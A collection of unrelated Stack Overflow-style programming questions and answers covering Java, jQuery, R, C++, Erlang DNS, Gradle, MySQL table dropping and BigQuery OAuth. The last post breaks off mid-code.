<p>Anyway, even if I could get the group from the JS side, I'm not really sure what I'd do with it... probably store it somewhere and attach another handler to the p:menuitem so when it was selected it could modify the outcome before calling it?</p> <p>So I'm stuck! Anyone have any ideas on how I can get this to work?</p> <p>Thanks,</p>
16231387	0	Good way to clear nested Maps in Java <pre><code>public class MyCache { AbstractMap&lt;String, AbstractMap&lt;String, Element&gt;&gt; cache = new TreeMap&lt;String, AbstractMap&lt;String, Element&gt;&gt;(); public Boolean putElement(String targetNamespace, Element element) { ... } public void clear() { cache.clear(); } // is it better this way? public void deepClear() { for(AbstractMap&lt;String, Element&gt; innerMap : cache.values()) { innerMap.clear(); } cache.clear(); } } </code></pre> <p>Is it necessary to iterate over the values of the root map and clear all the maps nested in the root first, or is it enough to clear the outermost map? My main question is, if there is any difference in the memory consumption of the JVM between these two methods?</p>
17010055	0	 <p>William Pugh, one of the authors of "JSR-133: Java Memory Model and Thread Speciﬁcation" maintains a webpage about the memory model here:</p> <p><a href="http://www.cs.umd.edu/~pugh/java/memoryModel/" rel="nofollow">http://www.cs.umd.edu/~pugh/java/memoryModel/</a></p> <p>The complete JSR-133 can be found here:</p> <p><a href="http://www.cs.umd.edu/~pugh/java/memoryModel/jsr133.pdf" rel="nofollow">http://www.cs.umd.edu/~pugh/java/memoryModel/jsr133.pdf</a></p> <p>Also relevant is the Java Language Specification, Section 17.4 Memory Model:</p> <p><a href="http://docs.oracle.com/javase/specs/jls/se7/html/jls-17.html#jls-17.4" rel="nofollow">http://docs.oracle.com/javase/specs/jls/se7/html/jls-17.html#jls-17.4</a></p>
12326600	0	How to show an element in Jquery after 1 seconds only if the mouse is still over the element? <p>I'm trying to create a hover-menu inside a gridview like the one of Gmail when you put the mouse over the names in the chatlist. </p> <p>How to show an element in Jquery after 1-2 seconds <strong>only if the mouse is still over the element</strong>?</p> <p>The following is not working properly because if i just move the mouse throughout the list, all the elements will show up (even though with a delay of 1 sec.)</p> <pre><code> $('.label, .popup').hover(function(e) { setTimeout(function() { $(e.target).closest("tr").find(".popup").show(); }, 1000); }, function(e) { setTimeout(function() { $(e.target).closest("tr").find(".popup").hide(); }, 1000); }); &lt;asp:TemplateField&gt; &lt;ItemTemplate&gt; &lt;asp:Label ID="label1" CssClass="label" runat="server" Text='&lt;%# Eval("Column1") %&gt;'&gt;&lt;/asp:Label&gt; &lt;asp:Panel runat="server" ID="popup" CssClass="popup" Style="display: none; position: absolute; margin-left: 60px; width: 250px;"&gt; Random text &lt;/asp:Panel&gt; &lt;/ItemTemplate&gt; &lt;/asp:TemplateField&gt; </code></pre>
5639734	0	 <p>Stumbled upon this question and thought I would offer an alternative. If you run into trouble with popup blockers, you can use plain old HTML to launch a url in a new window/tab. You won't have as much control over that is displayed (scrollbars, toolbar, etc), but it works even if javascript is disabled and is 508 compliant:</p> <pre><code>&lt;a href="http://www.google.com/" target="_blank"&gt;Open new window&lt;/a&gt; </code></pre> <p>You can read more about the various target attributes here: <a href="https://developer.mozilla.org/en/HTML/Element/a" rel="nofollow">https://developer.mozilla.org/en/HTML/Element/a</a></p>
3024630	0	How does one close an overlay by clicking outside of the overlay? <p>I have a jquery drop down that activates and deactivates when you click the header for the drop down</p> <pre><code>$j('#category_header').click(function() { $j('#category_dropdown').slideToggle("fast"); return false; }); </code></pre> <p>but I want it to also close when I click anywhere on the page that isnt the drop down. How do I go about doing that?</p>
31784840	0	Passing an object as parameter return an array in JavaScript <p>I have the following simple code :</p> <pre><code>&lt;td data-title="Authorized Version"&gt; &lt;span ng-bind="table.authorizedVersion.version"&gt;&lt;/span&gt; &lt;/td&gt; &lt;td data-title="Actions" ng-hide="userRole"&gt; &lt;button class="btn btn-default round" ng-click="modal.open('lg','pickKey', table)"&gt;&lt;/button&gt; &lt;/td&gt; </code></pre> <p>When I click on the button, I want to get the table data :</p> <pre><code>modal.open = openModal; function openModal (size, whichModal, data) { console.log(data); } </code></pre> <p>My problem is : </p> <p>table.authorizedVersion is an object. But, in the function, it appears as an empty array.</p> <p>Why is this function converting my object into an array ? </p> <p>Thank you in advance for your assistance.</p>
22631969	0	 <p>I would add a margin / padding to the TileContainer on the left side, so it uses it's own animations and logic to resize / arrange.</p>
16035475	0	Removing items from a dataset that have too few mentions <p>I am beginning <strong>R</strong> user and I have a question about a problem I encountered: </p> <ul> <li>Very large dataset (almost 800k rows) </li> <li>This dataset lists all contributions to a politicians in the 90s in the US </li> </ul> <p>After some data cleaning, I needed to reduce the list to a more manageable size. Since I am interested in contributors who have donated more than once, I have decided to try to limit the size of the dataset like that.</p> <p>The dataset is loaded as "cont"</p> <p>My intention:</p> <ol> <li><p>Map frequencies of mentions:</p> <pre><code>&gt; table(cont$contributor_name) -&gt; FreqCon &gt; subset(FreqCon,Freq&gt;4) -&gt; FMI </code></pre></li> <li><p>Insert an extra column as cont[,43] with name "include" that would say TRUE or FALSE for whether I should subset it</p> <pre><code>for(i in 1:dim(FMI)[1]){ + ifelse(cont[i,11] %in% FMI[,1],cont[i,43] &lt;- TRUE, cont[i,43] &lt;- FALSE) } </code></pre></li> <li><p>Subset the dataset based on <code>cont$include</code></p></li> </ol> <p>I hope that is all relevant information. I am happy to provide more info if needed! Also:<code>cont[,11] = cont$contributor_name</code></p> <p><em>THE PROBLEM</em>: Currently, <strong>R</strong> is working very hard, but does not seem to change anything in the column. I am confused as to what I am doing wrong, since I am not getting any <code>warnings()</code> or Errors.</p> <p>Maybe I am trying to reinvent the wheel so any way of accomplishing what I set out to do would be much appreciated!</p>
39559996	0	No matching function (input/output) <p>I am writing a program which works with input/output and I have a problem with two functions in my code: <code>copyText</code> and <code>print</code>. They don't work at all and I can't understand the source of my problem. I will really appreciate any help. Thanks!</p> <pre><code>#include &lt;iostream&gt; #include &lt;fstream&gt; #include &lt;cctype&gt; using namespace std; void initialize(int&amp;, int[]); void copyText (ifstream&amp;, ofstream&amp;, char&amp;, int[]); void count(char, int[]); void print(ofstream&amp;, int, int[]); int main() { int line; int letter[26]; char ch; ifstream infile; ifstream outfile; infile.open("input.txt"); outfile.open("output.txt"); initialize(line, letter); infile.get(ch); while(infile) { copyText(infile, outfile, ch, letter); line++; infile.get(ch); } print (outfile, line, letter); infile.close(); outfile.close(); return 0; } void initialize(int&amp; loc, int list[]) { loc = 0; for (int i =0; i &lt;26; i++) list[i] = 0; } void copyText(ifstream&amp; in, ofstream&amp; out, char&amp; ch, int list[]) { while (ch != '\n') { out &lt;&lt; ch; count (ch, list); in.get(ch); } out &lt;&lt; ch; } void count(char ch, int list[]) { ch = toupper(ch); int index = static_cast&lt;int&gt;(ch)-static_cast&lt;int&gt;('A'); if (0 &lt;= index &amp;&amp; index &lt; 26) list[index]++; } void print (ofstream&amp; out, int loc, int list[]) { out &lt;&lt; endl&lt;&lt; endl; out &lt;&lt; " The number of lines is "&lt;&lt;loc &lt;&lt;endl; for (int i = 0; i&lt;26; i++) out &lt;&lt; static_cast&lt;char&gt;(i+static_cast&lt;int&gt;('A')) &lt;&lt; "count = " &lt;&lt;list[i] &lt;&lt; endl; } </code></pre>
35021162	0	 <p><a href="http://developer.android.com/intl/ru/reference/android/widget/TimePicker.html" rel="nofollow">http://developer.android.com/intl/ru/reference/android/widget/TimePicker.html</a> I you look here you will not find such methods or parameters.</p> <p>Futher more, If you find a bug to setup this value, I do not, based on my experiance, really recommend to use something exapt default behavour. Because of there are a lot of different implementations for TimePicker. Use the default behaviour or do nothing.</p> <p>I only solutions: is to write your own timepicker using numberpicker, etc.</p>
678259	0	How Does a Login system generally work with OOP? <p>Sorry if this is a badly formed question, but I'm trying to make my web applications (using PHP) more OO. *EDIT* I'm developing the Framework myself */EDIT* Everything is great so far, I've made a Front Controller system that taps into a MVC system. The FC figures out what page you want, loads the specific page Controller (*EDIT* which extends an abstract Controller Object */EDIT*), which gets anything it needs from Models, and then calls the appropriate View. Very basic.</p> <p>But now, I need to make an admin section (quasi-CMS). How does a login system fit into the grand scheme of things? Do you set controllers as needing a login? If so, how? What If you only want certain views of a controller requiring login?</p> <p>Thanks in advance.</p>
24508719	0	 <pre><code>var d1 = new Date('2014-06-14 18:19:33').getTime(); var d2 = new Date('2014-07-01 13:00:22').getTime(); var d = d1 - d2; var result = d / 1000 / 60; </code></pre>
28943159	0	 <p>If you are trying it on same field you can try to build the query like this replace the 'reference' with your field name</p> <p>reference:TSP AND reference:LAE AND NOT reference:N133</p> <p>and for different fields with other combinations</p> <ol> <li><p>reference:TSP AND name:Test AND NOT metadata:Superseded</p></li> <li><p>reference:(TSP AND LAE) AND name:Test AND NOT metadata:Superseded</p></li> <li><p>reference:(TSP AND LAE) AND name:(Test OR Wheel) AND NOT metadata:Superseded</p></li> <li><p>reference:(TSP AND LAE) OR name:(Test OR Wheel) AND NOT metadata:Superseded</p></li> <li><p>reference:(TSP AND LAE) OR name:(Test AND Wheel) AND NOT metadata:Superseded</p></li> </ol>
35327515	0	Can gradle script property extensions be shared between different scripts <p>If there is a build.gradle file as follows:</p> <pre><code>... apply from: 'Other.gradle' task hello { project.ext.hello = "hello" } </code></pre> <p>And Other.gradle has:</p> <pre><code>task getHello { println project.ext.hello } </code></pre> <p>I get an error saying:</p> <blockquote> <p>Cannot get property 'hello' on extra properties extension as it does not exist</p> </blockquote> <p>Is there a way to share property extensions between the scripts?</p>
1740297	0	How do I build a DNS Query record in Erlang? <p>I am building a native Bonjour / Zeroconf library and need to build DNS query records to broadcast off to the other machines. I have tried looking thru the Erlang source code but as I am relatively new to Erlang it gets kind of dense down the bowels of all the inet_XXX.erl and .hrl files. I have a listener that works for receiving and parsing the DNS record payloads, I just can't figure out how to create the query records. What I really need to know is what I need to pass into inet_dns:encode() to get a binary I can send out. Here is what I am trying to do.</p> <pre><code>{ok,P} = inet_dns:encode(#dns_query{domain="_daap._tcp.local",type=ptr,class=in}) </code></pre> <p>here is the error I am getting</p> <pre><code>10&gt; test:send(). ** exception error: {badrecord,dns_rec} in function inet_dns:encode/1 in call from test:send/0 11&gt; </code></pre>
3860099	0	 <p>Of course you will, Microsoft China was in a similar situation back when their Juku Blogging Service was found out to be a rip-off of Plurk, and yes, line by line code copying.</p> <p>Microsoft responded with: <em>“Microsoft takes intellectual property seriously, and we are currently investigating these allegations. It may take some time due to the time zone differences with Beijing.”</em> when they were asked about it.</p> <p><a href="http://techcrunch.com/2009/12/14/microsoft-plurk-ripoff/" rel="nofollow">Here's a link to that article I was referring to.</a></p>
3715243	0	 <p>Your best bet (I'm aware of) is to dig into the code in the django code, and see how it's done there. As I recall, they generate a salted hash so that the plain text values are never stored anywhere, but rather the hash and salt are. </p> <p>If you go into the django installation, and poke around for words like hash and salt, you should find it pretty quickly. Sorry for the vague answer, but perhaps it will set you on the right path.</p>
2120710	0	 <p>I figured it out. Its because I was adding my list of data to itself so it had a bunch of duplicate data and it didnt like that.</p>
26686032	0	 <p>The optimisation that would be nice is if on <code>Skip(k)</code> the first <code>.MoveNext</code> just sets the internal index to <code>k</code>, and I thought the JITter could do this, but it seems not to, for the versions I've tried.</p> <p>The code to be optimised is:</p> <pre><code>while (count &gt; 0 &amp;&amp; e.MoveNext()) count--; </code></pre> <p>from <a href="http://referencesource.microsoft.com/System.Core/System/Linq/Enumerable.cs.html#83ec6a20321060a1" rel="nofollow">SkipIterator</a> and:</p> <pre><code> public bool MoveNext() { if (_index &lt; _endIndex) { _index++; return (_index &lt; _endIndex); } return false; } </code></pre> <p>from <a href="http://referencesource.microsoft.com/mscorlib/system/array.cs.html#4864727bda517629" rel="nofollow">SZGenericArrayEnumerator</a>.</p> <p>(The reference source is 4.5.1, but reflector shows very similar code in 4.0.)</p>
3907921	0	Why java doesn't allow to make an instance method of parent class as more restrictive in child class <p>Polymorphism allows the programmer either to inherit, override or to overload an instance method of Parent Class. </p> <p>But, it won't allow to make an instance method of parent class as more restrictive in child class. i.e it wont allow to use same name of parent class instance method, to declare as private in the child class.</p> <p>Also JVM identifies the parent class version of an instance method, if child class didn't override it.</p> <p>Similarly why don't JVM identifies the parent class version of an instance method, if the child class makes it more restrictive?</p> <p>The more restrictive method of parent class in child class can be considered as child class specific method instead of overridden method by compiler.</p>
29344936	0	 <p>Give the element an id. </p> <p>For example</p> <pre><code>&lt;td id="titleId" title="He is from KL working in Assyst at Kochi.Today Ind vs Aus match 2nd semi final Aus won the game India Lost"&gt;He is from....&lt;/td&gt; #titleId { background-color: #efefef; padding: 10px; color: red; border: 1px solid blue; text-align: justify; } </code></pre>
1652928	0	 <p>It sounds like what you want is a <a href="http://en.wikipedia.org/wiki/Finite-state_machine" rel="nofollow noreferrer">'Finite State Machine'</a> where using those cases you can activate different processes or 'states'. In C this is usually done with an array (matrix) of function pointers.</p> <p>So you essentially make an array and put the right function pointers at the right indicies and then you use your 'var' as an index to the right 'process' and then you call it. You can do this in most languages. That way different inputs to the machine activate different processes and bring it to different states. This is very useful for numerous applications; I myself use it all of the time in MCU development.</p> <p>Edit: Valya pointed out that I probably should show a basic model:</p> <pre><code>stateMachine[var1][var2](); // calls the right 'process' for input var1, var2 </code></pre>
36729409	0	Importing EndNote .enl file into R Dataframe <p>I would appreciate it if someone can help me import <a href="https://www.dur.ac.uk/resources/its/info/guides/files/endnote/PALEO~1.ENL" rel="nofollow">this EndNote .enl file</a> into R Dataframe.</p>
4212279	0	 <p>you can run this query and get all the sql queries that you need to run; </p> <pre><code>select concat( 'drop table ', a.table_name, ';' ) from information_schema.tables a where a.table_name like 'dynamic_%'; </code></pre> <p>you can insert it to file like</p> <pre><code>INTO OUTFILE '/tmp/delete.sql'; </code></pre> <h1>update according to alexandre comment</h1> <pre><code>SET @v = ( select concat( 'drop table ', group_concat(a.table_name)) from information_schema.tables a where a.table_name like 'dynamic_%' AND a.table_schema = DATABASE() ;); PREPARE s FROM @v; EXECUTE s; </code></pre>
6257440	0	 <p>In general, <strong>Complexity can be reduced by abstracting your repetitive code into reusable, easily-maintainable components</strong>. </p> <p>In your particular case, the complexity can be reduced by <strong>implementing the <a href="http://www.codeinsanity.com/2008/08/repository-pattern.html" rel="nofollow">Repository</a> and <a href="http://devlicio.us/blogs/jeff_perrin/archive/2006/12/13/the-specification-pattern.aspx" rel="nofollow">Specification</a> patterns</strong> to make your code more consistent, easier to read, and easier to maintain. </p> <p>There is a very helpful sequence of articles by Huy Nhuyen explaining the repository pattern, the specification pattern and how to effectively combine them with the Entity Framework for better code. These are available at:</p> <ul> <li><a href="http://huyrua.wordpress.com/2010/07/13/entity-framework-4-poco-repository-and-specification-pattern/" rel="nofollow">Entity Framework 4 POCO, Repository and Specification Pattern</a></li> <li><a href="http://huyrua.wordpress.com/2010/08/25/specification-pattern-in-entity-framework-4-revisited/" rel="nofollow">Specification Pattern In Entity Framework 4 Revisited</a></li> <li><a href="http://huyrua.wordpress.com/2010/12/16/entity-framework-4-poco-repository-and-specification-pattern-upgraded-to-ctp5/" rel="nofollow">Entity Framework 4 POCO, Repository and Specification Pattern [Upgraded to CTP5]</a></li> <li><a href="http://huyrua.wordpress.com/2011/04/13/entity-framework-4-poco-repository-and-specification-pattern-upgraded-to-ef-4-1/" rel="nofollow">Entity Framework 4 POCO, Repository and Specification Pattern [Upgraded to EF 4.1]</a></li> </ul>
14384364	0	 <p>That doesn't "guarantee" a result from <a href="http://linux.die.net/man/3/malloc" rel="nofollow"><code>malloc()</code></a>. If malloc returns <code>NULL</code> there's probably a reason for it (out of memory for example). And you might throw yourself into an infinite loop.</p> <p>Furthermore, if you're running this on a Linux platform:</p> <blockquote> <p>By default, Linux follows an optimistic memory allocation strategy. This means that when malloc() returns non-NULL there is no guarantee that the memory really is available.</p> </blockquote> <p>That means that lets say calling malloc over and over again did happen to return something non-NULL, due to Linux's "optimistic" strategy, a non-NULL still doesn't guarantee you got anything that will work.</p> <p>I think this code is setting you up for a debugging nightmare.</p>
5688578	0	 <p>Because flash[] is an array you could delete element inside it. When we use recaptcha gem, the flash array contain <strong>recaptcha_error</strong> element, so you just only delete this element with : <strong>flash.delete(:recaptcha_error)</strong> inside your controller.</p> <p>For example :</p> <pre><code>if verify_recaptcha(:model=&gt;@object,:message=&gt;"Verification code is wrong", :attribute=&gt;"verification code") &amp;&amp; @object.save #your code if succes else flash.delete(:recaptcha_error) #your code if its fail end </code></pre> <p>Maybe it could help you. Thanks</p>
14442051	0	 <p>You can do something like : </p> <pre class="lang-dart prettyprint-override"><code>class MenuItemCollection implements List&lt;MenuItem&gt; { final _list = new List&lt;MenuItem&gt;(); MenuItemCollection(); noSuchMethod(InvocationMirror invocation) =&gt; invocation.invokeOn(_list); } </code></pre>
803112	0	Max DB size in SQL Server 2000 MSDE <p>We are currently evaluation our hosting options and the cheapest suitable option we've found only has SQL Server 2000 MSDE as the db server.</p> <p>What is the max size of a db on the server? Is there a max total size for dbs combined?</p>
21257299	0	 <pre><code>update your code with this. &lt;filter name="groupby_order" icon="terp-gtk-jump-to-rtl" string="Order Reference" domain="[]" context="{'group_by' :'order_id'}"/&gt; and pass &lt;field name="context"&gt;{'search_default_groupby_order': 1}&lt;/field&gt; in act_window. Hope this will be useful to you. </code></pre>
14532232	0	Rails : get authenticity token from inside a controller <p>I need to do a POST to another controller from inside a prior controller, how do I get the value for the authenticity_token from inside a controller?</p> <p>TY, Fred</p>
28994884	0	 <p>Once you get your DOM element, which I am assuming is what "el" is, you can simply use the getElementsByTagName() method to get the anchors. This will return an array of elements matching the tagname supplied. </p> <p>In your case it would be:</p> <pre><code>var anchors = el.getElementsByTagName('a'); </code></pre> <p>An example: <a href="http://jsfiddle.net/d3fs7g05/1/" rel="nofollow">http://jsfiddle.net/d3fs7g05/1/</a></p>
27533223	0	 <p>Since you reported that it was running when <code>len(nextList) == 0</code>, this is probably because <code>nextList</code> (which isn't a list..) is an empty bytes object which isn't equal to an empty string object:</p> <pre><code>&gt;&gt;&gt; b"" == "" False </code></pre> <p>and so the condition in your line</p> <pre><code>while nextList != "": </code></pre> <p>is never true, even when <code>nextList</code> is empty. That's why using <code>len(nextList) != 22</code> as a break condition worked, and even</p> <pre><code>while nextList: </code></pre> <p>should suffice.</p>
37580293	0	Jquery : Product between 2 lists of inputs into a 3rd list <p>I don't have much experience in jQuery, I'm facing the following challenge</p> <p>I have the following table</p> <pre><code>&lt;table&gt; &lt;thead&gt; &lt;tr&gt; &lt;td&gt;Qty&lt;/td&gt; &lt;td&gt;Description&lt;/td&gt; &lt;td&gt;Unit Price&lt;/td&gt; &lt;td&gt;Total Price&lt;/td&gt; &lt;tr&gt; &lt;/thead&gt; &lt;tbody&gt; &lt;tr id="itemRow"&gt; &lt;td&gt;&lt;input type="text" name="quantity"/&gt;&lt;/td&gt; &lt;td&gt;&lt;input type="text" name="description"/&gt;&lt;/td&gt; &lt;td&gt;&lt;input type="text" name="unitPrice"/&gt;/td&gt; &lt;td&gt;&lt;input type="text" name="totalPrice"/&gt;&lt;/td&gt; &lt;tr&gt; &lt;/tbody&gt; &lt;/table&gt; &lt;input type="text" name="total"/&gt; </code></pre> <p>Additionally, I'm able to clone #itemRow as many times as required, enlarging the amount of items.</p> <p>The idea is to calculate the total price for each row (by <code>quantity</code> * <code>unitPrice</code>) and assign it to <code>totalPrice</code>. And assign the sum of <code>totalPrice</code> to <code>total</code>.</p> <p>This is the javascript I'm using, but I get an error that says "cantidades[i].val() is not a function"</p> <pre><code>function calculate(){ var $total = $('#total'); var $cantidades = $('input[name=quantity]') var $unitarios = $('input[name=unitPrice]') var $totales = $('input[name=totalPrice]') var len = $cantidades.length; $total.val(0); for (var i = 0; i &lt; len; i++){ // calculate total for the row. ERROR HERE! $totales[i].val($cantidades[i].val() * $unitarios[i].val()); // Accumulate total $total.val($totalExento.val() + $totales[i].val()); } } </code></pre> <p>What am I missing? I think I'm not getting "jQuery objects" from the selector but I'm not sure hot to do this. </p> <p>Thanks in advance!</p>
38863396	0	 <p>I also got exactly the same error like yours. In my case I comment out or deleted the following line under onServiceDiscover method. It works suddenly.It may not be the answer, Hope it will give you some clue to solve.</p> <pre><code> disManuf = gatt.getService(DIS_UUID).getCharacteristic(DIS_MANUF_UUID); disModel = gatt.getService(DIS_UUID).getCharacteristic(DIS_MODEL_UUID); disHWRev = gatt.getService(DIS_UUID).getCharacteristic(DIS_HWREV_UUID); disSWRev = gatt.getService(DIS_UUID).getCharacteristic(DIS_SWREV_UUID); readQueue.offer(disManuf); readQueue.offer(disModel); readQueue.offer(disHWRev); readQueue.offer(disSWRev); </code></pre>
26825668	0	 <blockquote> <p>FeedListActivity is the Fragment activity. Now i need to add the Feedlistactivity as a Fragment in my Main Activity. How can i achieve this ?</p> </blockquote> <p>A fragmentActivity is not a fragment. It's an activity with support for fragments, it was introduced to make older android builds backward compatible with fragments -- if you're targeting newer API's only you can ignore it. To make make FeedListActivity() a fragment...you must extend from fragment. </p> <pre><code>Fragment newFragment = new Fragment(); </code></pre> <p>This line here should be creating a new instance of FeedList after you make it a fragment.</p>
34966139	0	 <p>Code coverage, linting, etc. are provided by various services that you have to sign up with. For example, <a href="https://coveralls.io" rel="nofollow">coveralls.io</a> provides test coverage. Another popular service that provides many different types of code analysis and coverage tools is <a href="https://codeclimate.com" rel="nofollow">Code Climate</a>. Most of those sites provide badges you can add to your GitHub repo, usually in the README.</p> <p>For example, a repo I maintain has accounts with Travis, Gemnasium, and Code Climate, and I have badges for those services on my README: <a href="https://github.com/monfresh/ohana-sms" rel="nofollow">https://github.com/monfresh/ohana-sms</a></p>
40930765	0	php Multithreading where child process pick task automatically once there job done <p>As I am new in PHP multi-threading. Kindly help me to create a dummy program in which child process didn't wait to complete the process instead of that pick up the other task from pending jobs. I am facing an issue like I have 256 workers(threads) to complete my work but once a thread complete their work they become zombie and didn't do any work just wait for all the threads to complete then after all cycle start all over.</p>
35106773	0	 <p>Use <a href="http://www.postgresql.org/docs/current/static/queries-union.html" rel="nofollow">UNION</a>:</p> <pre><code>select id, name, email, phone from table1 union select id, name, email, phone from table2 union select id, name, email, phone from table3; </code></pre> <p>In the above query identical rows from different tables will be presented as one row. If you want all rows from all tables use UNION ALL.</p> <p>Use INTERSECT to select only identical rows in all three tables:</p> <pre><code>select id, name, email, phone from table1 intersect select id, name, email, phone from table2 intersect select id, name, email, phone from table3; </code></pre>
36699078	0	MySql: How to reduce execution time of this Query? <p>How to customize this query, It takes around 30 Second to take out results, total records in 'videos' table are about 0.5 million, 3 million members are present in 'Members' Table, is there any alternate Query or should i break this query in 2 select queries ?</p> <p>user_id is Indexed vid_id is Indexed</p> <pre><code>select a.ref_url , a.source , a.video_name , a.viewers , b.username , c.points from members_videos a inner join Members b on a.user_id = b.user_id inner join rankings c on c.user_id = b.user_id where a.cat_ids in (123,234,52,234,423,122) not in (110,99) order by a.vid_id Desc limit 10 </code></pre>
28694684	0	 <p>usually, when the DB upgrade is incremental, you could use an elegant <code>switch</code>:</p> <pre><code>public void onUpgrade(SQLiteDatabase db, int oldVersion, int newVersion) { switch( oldVersion ){ case 1: migrateFrom1(); case 2: migrateFrom2(); case 3: migrateFrom3(); } } </code></pre> <p>notice the absence of <code>break</code> statements.</p>
23896055	0	 <p>I have had this issue too, try removing the following from your CSS </p> <p>background-attachment: fixed; </p>
25962925	0	 <p>The Recurring Payments API is what you want. Specifically, Express Checkout would be for PayPal payments and Payments Pro (DoDirectPayment / PayFlow) would be for direct credit card processing without a PayPal account.</p>
30848914	0	 <p>You have added the entry to root's crontab, while your Cloud SDK installation is setup for a different user (I am guessing ubu121lts).</p> <p>You should add the entry in ubu121lts's crontab using:</p> <pre><code>crontab -u ubu121lts -e </code></pre> <p>Additionally your entry is currently scheduled to run on the 0th minute every hour. Is that what you intended?</p>
563405	0	 <p>What is it that you want to style, the list item or the anchor. You probably want to style the anchor, so add it to that</p>
4356996	0	What does a Connection Timeout mean in the context of a select() call <p>I've noticed that sometimes select returns with Connection Timed out set on errno, but I dont know why it would do this, how would it know? And how are you suppose to deal with this? (Im guessing it means that one of the connections timed out, perhaps an ACK wasnt heard back from at an appropriate time). Id imagine the only legit case of this would be if a server socket is in there and you ran a nonblocking connect before? In which case running a connect on this socket again would return to you whether it was connected or not, and that would be the way to handle that.... but is there a better way?</p> <p>Thanks in advance.</p>
19325241	0	 <p>Based on your edited requirements, I would:</p> <ol> <li><p>get your app running on new server with blank mongodb </p></li> <li><p>set up a reverse proxy that forwards both sub. and sub2.domain.com traffic to your app </p></li> <li><p>set up a CNAME that points sub2.domain.com to the new server </p></li> <li><p>copy over the DB data as found in <a href="http://stackoverflow.com/a/19305144/219238">Andrew's answer</a></p></li> <li><p>update your meteor.com app to just do a temporary redirect (something like window.location="http://sub2.domain.com")</p></li> <li><p>update your sub.domain.com CNAME to point to the new server</p></li> </ol> <p>This should result in minimal disruption; clients who connect to <a href="http://sub.domain.com" rel="nofollow">http://sub.domain.com</a> are auto-redirected to <a href="http://sub2.domain.com" rel="nofollow">http://sub2.domain.com</a> until the CNAME DNS change propagates. After a few days, the sub2 cname won't be needed anymore and you can remove the sub2 cname and entry from the reverse proxy.</p>
38225269	0	DWARF reading not complete types <p>How can I read a non complete types in DWARF dumps?</p> <p>For example we have a derived class:</p> <pre><code>class Base { public: int Base_var1; int Base_var2; .... } class OtherClass : public Base { int OtherClass_var1; int OtherClass_var2; .... } OtherClass otherClass(); </code></pre> <p>We compile this with GCC compiler and want to find all members of <code>otherClass</code> object. We get the next DWARF dump:</p> <pre><code>&lt;1&gt;&lt;20a&gt;: Abbrev Number: 15 (DW_TAG_variable) &lt;20b&gt; DW_AT_name : otherClass &lt;211&gt; DW_AT_type : &lt;0x131&gt; &lt;1&gt;&lt;131&gt;: Abbrev Number: 117 (DW_TAG_class_type) &lt;132&gt; DW_AT_name : OtherClass &lt;133&gt; DW_AT_declaration : 1 &lt;134&gt; DW_AT_sibling : &lt;0x150&gt; &lt;2&gt;&lt;135&gt;: Abbrev Number: 45 (DW_TAG_member) &lt;136&gt; DW_AT_name : OtherClass_var1 &lt;137&gt; DW_AT_type : &lt;0x12&gt; &lt;138&gt; DW_AT_data_member_location: 2 byte block: 23 8 (DW_OP_plus_uconst: 8) ...... </code></pre> <p>We have a variable <code>otherClass</code>, which have a type of <code>0x131</code>. This type have <code>DW_AT_declaration</code> flag, which means that this is non complete type. Type at <code>0x131</code> have all members of it's main class (<code>OtherClass_var1</code> and <code>OtherClass_var2</code>), but don't have any information about derived members.</p> <p>If continue reading DWARF dump, then in some place we get this:</p> <pre><code>&lt;1&gt;&lt;500&gt;: Abbrev Number: 150 (DW_TAG_class_type) &lt;501&gt; DW_AT_specification: &lt;0x131&gt; &lt;502&gt; DW_AT_byte_size : 2696 &lt;503&gt; DW_AT_containing_type: &lt;0x560&gt; &lt;504&gt; DW_AT_sibling : &lt;0x36078&gt; &lt;2&gt;&lt;135&gt;: Abbrev Number: 45 (DW_TAG_member) &lt;136&gt; DW_AT_name : Base_var1 &lt;137&gt; DW_AT_type : &lt;0x12&gt; &lt;138&gt; DW_AT_data_member_location: 2 byte block: 23 8 ..... </code></pre> <p>There is a definition for our base class and this definition have <code>DW_AT_specification</code> tag, which shows where to find a other part of this class (main part).</p> <p>How can we correctly read this <code>otherClass</code> object? At this moment I have to store array of all types and when I get a <code>DW_AT_declaration</code> tag, I should go through array and find a type with specification to this type.</p> <p>And how can I get a absolute address of derived members? We have a absolute address of variable <code>otherClass</code>. Then member <code>OtherClass_var1</code> would have the same address as <code>otherClass</code>. Member <code>OtherClass_var2</code> would have address of <code>OtherClass_var1</code> plus a byte size of <code>OtherClass_var1</code>. But how can we calculate the address of derived members <code>Base_var1</code> and <code>Base_var2</code>?</p>
31923472	0	 <p>To link to a form you need: </p> <pre><code>Form2 form2 = new Form2(); form2.show(); this.hide(); </code></pre> <p>then hide the previous form</p>
12125172	0	 <p>There's a lot of questions here. You will want to use the GoogleCredential class to gain a new access token from an existing refresh token, that you well need to store (using whatever method you want, such as MemoryCredentialStore).</p> <p>The access token only lasts for an hour and there is not way to change this.</p> <p>Here is an example using the installed flow:</p> <pre><code>import java.io.BufferedReader; import java.io.FileInputStream; import java.io.FileNotFoundException; import java.io.FileOutputStream; import java.io.IOException; import java.io.InputStreamReader; import java.util.Collections; import java.util.List; import java.util.Properties; import com.google.api.client.auth.oauth2.Credential; import com.google.api.client.auth.oauth2.TokenResponse; import com.google.api.client.googleapis.auth.oauth2.GoogleAuthorizationCodeFlow; import com.google.api.client.googleapis.auth.oauth2.GoogleAuthorizationCodeRequestUrl; import com.google.api.client.googleapis.auth.oauth2.GoogleClientSecrets; import com.google.api.client.googleapis.auth.oauth2.GoogleCredential; import com.google.api.client.googleapis.auth.oauth2.GoogleTokenResponse; import com.google.api.client.http.HttpTransport; import com.google.api.client.http.javanet.NetHttpTransport; import com.google.api.client.json.JsonFactory; import com.google.api.client.json.jackson.JacksonFactory; import com.google.api.services.bigquery.Bigquery; import com.google.api.services.bigquery.Bigquery.Datasets; import com.google.api.services.bigquery.BigqueryScopes; import com.google.api.services.bigquery.model.DatasetList; class BigQueryInstalledAuthDemo { // Change this to your current project ID private static final String PROJECT_NUMBER = "XXXXXXXXXX"; // Load Client ID/secret from client_secrets.json file. private static final String CLIENTSECRETS_LOCATION = "client_secrets.json"; static GoogleClientSecrets clientSecrets = loadClientSecrets(); private static final String REDIRECT_URI = "urn:ietf:wg:oauth:2.0:oob"; // Objects for handling HTTP transport and JSON formatting of API calls private static final HttpTransport HTTP_TRANSPORT = new NetHttpTransport(); private static final JsonFactory JSON_FACTORY = new JacksonFactory(); private static GoogleAuthorizationCodeFlow flow = null; // BigQuery Client static Bigquery bigquery; public static void main(String[] args) throws IOException { // Attempt to Load existing Refresh Token String storedRefreshToken = loadRefreshToken(); // Check to see if the an existing refresh token was loaded. // If so, create a credential and call refreshToken() to get a new // access token. if 